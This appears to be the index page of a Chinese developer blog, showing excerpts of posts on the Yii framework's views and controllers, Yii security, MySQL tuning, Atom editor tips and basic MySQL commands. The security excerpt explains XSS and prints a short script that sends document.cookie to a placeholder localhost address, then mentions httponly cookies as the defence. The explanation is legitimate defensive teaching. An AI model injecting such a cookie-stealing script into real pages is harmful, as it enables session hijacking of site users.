不孬

less is more


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 搜索

Yii-view

发表于 2017-07-03 | 更新于 2018-12-15 | 分类于 yii , 视图层 | 阅读次数:

View组件

前言

视图层是以 View组件 为主体,通过小部件、主题、国际化、模板渲染 进行扩展,由于通过服务定位器的方式获取到的 view对象 ,所以整个周期中所用的 view 是同一个对象, 当然你也可以单独创建。

数据传递

  1. 通过控制器的 render() 方法传递给视图层
  2. 在视图层通过 $this->context 来获取所对应的控制器对象,可以访问对象中的属性值
  3. 在 控制器 controller 中 使用 $this->view->params['menu'] ;在布局(其他视图)中可以使用 $this->params['menu'] 访问;

例如:

1
2
3
4
5
6
7
8
index.php 视图文件
<?php
$this->params['ding']='ran'
?>
layout 布局文件
<?php
echo $this->params['ding'];
?>

阅读全文 »

Yii-controller

发表于 2017-07-03 | 更新于 2018-12-11 | 分类于 yii , controller | 阅读次数:

前言

控制器作为最常用的一个类,也比较简单,这里只简单梳理一下
因为常用的是web形式,这里就以 yii\web\Controller 为基础进行分析

属性

常用属性列表

1
2
3
4
5
$id # 控制器id
$module # 如果有,则是该控制器所在的module模块对象
$defaultAction # 默认的action,在请求没有指定控制器的action的时候默认请求这个
$layout # 指定layout文件,如果不使用layout设置值为 false ,后面会详细分析
$enableCsrfValidation # 是否验证csrf, 如果关闭,在beforeAction 中将不进行校验

执行操作

通过下面这两种方式执行action和正常的通过对象调用执行有什么区别?
直接通过对象调用的方式执行某个方法,只是执行了这个方法;而通过下面这两种方式(通过路由)执行的方式会完整的执行所属modules、controller的 beforeAction 和 afterAction(动作过滤器)

runAction() 执行本控制器的action

通过本控制器的 actionId 完整的执行(就是包含动作过滤器)对应的 独立action 或 内联action

run() 根据路由相应的动作

看下面源码先有三种不同的情况

  1. 单独一个actionid 执行相对当前控制器下的action
  2. controllerid/actionid || module/controllerid/actionid 执行相对当前module下的路由
  3. /module/controllerid/actionid 执行绝对路由

其中第三种就是我们发送请求的时候所要执行的操作,而第二种其实和第三种是一样的($app也是module),只不过使用当前module往后找

阅读全文 »

Yii-安全篇

发表于 2017-07-02 | 更新于 2018-12-13 | 分类于 安全 | 阅读次数:

前言

对于如何攻研究的不深,只说说大概原理,让你知道怎么防

xss攻击

原理:后端有时会将接收用户的数据展示在前端页面,这时候如果后端没有做处理,那么提交的前端代码将会直接渲染到前端,这部分代码就具有攻击性

实现xss攻击要想方设法把js注入到页面中,可以通过url(反射性) 或者 提交数据(提交的数据会保存在后台,显示在页面)
跨站脚本攻击(Cross Site Scripting)
将js代码插入到给用户使用的页面中,从而对用户进行攻击

盗取用户账号(使用cookie登陆)
将下面代码出入页面,当用户访问这个页面的时候将会把cookie发送给自己,在cookie中寻找需要的登陆cookie

1
2
3
4
<script>
var cookie = document.cookie;
window.location.href = 'http://127.0.0.1/index.php?cookie = '+cookie
</script>

将cookie设置成httponly,js将无法读取这条cookie

阅读全文 »

网站优化-Mysql

发表于 2017-07-02 | 更新于 2018-12-13 | 分类于 网站优化 , mysql | 阅读次数:

4个方向的优化

  • 其一:设计方面。存储引擎的选择,列类型的选择
  • 其二:功能方面。索引,查询缓存,分区。
  • 其三:架构层面。读写分离,负载均衡。
  • 其四:SQL层面。经验。
    阅读全文 »

Atom-小技巧

发表于 2017-07-01 | 更新于 2018-10-05 | 分类于 工具 , Atom | 阅读次数:

关于代码高亮

``` 后面跟上语言如 php、js等 如 js
但是有时 php 在 Atom 上并不会高亮,这时在首航添加 <?php 即可

1
2
3
4
5
6
7
8
9
10
11
12
<?php
/**
*
*/
class ClassName extends AnotherClass
{
function __construct(argument)
{
# code...
}
}

插件使用方法

每个插件的使用方法都可以在 setting->packages 中点击插件名来进入到插件的介绍也面

阅读全文 »

mysql基础操作

发表于 2017-07-01 | 更新于 2018-12-13 | 分类于 mysql | 阅读次数:

数据库相关

创建数据库

1
create database 数据库名 [charset 字符编码名] [collate 排序规则名];

查看mysql中的所有字符编码名(字符集)

1
show charset;

查看所有的排序规则名

1
show collation;

创建数据库示例

1
CREATE DATABASE test CHARSET utf8;

修改数据库

1
alter database 数据库名 [charset 字符编码名] [collate 排序规则名];

备份数据库

不需要进入mysql服务执行

1
mysqldump -h要备份的数据库所在的服务器 -u用户名 -p 数据库名 > 完整目标文件名

备份示例

1
mysqldump -hlocalhost -uroot -p test > /Users/echo-ding/Documents/ding/test.sql

恢复数据库

  1. 创建需要导入的数据库

    1
    CREATE DATABASE test CHARSET utf8;
  2. 将数据还原 注意:先要创建还原的数据库test

    1
    mysql -hlocalhost -uroot -p test < /Users/echo-ding/Documents/ding/test.sql

也可以直接执行sql文件的语句

阅读全文 »
1…678
echo-ding

echo-ding

纸上得来终觉浅,绝知此事要躬行。

44 日志
26 分类
54 标签
GitHub E-Mail 微博 知乎
Links
  • bunao
© 2019 echo-ding
由 Hexo 强力驱动 v3.3.7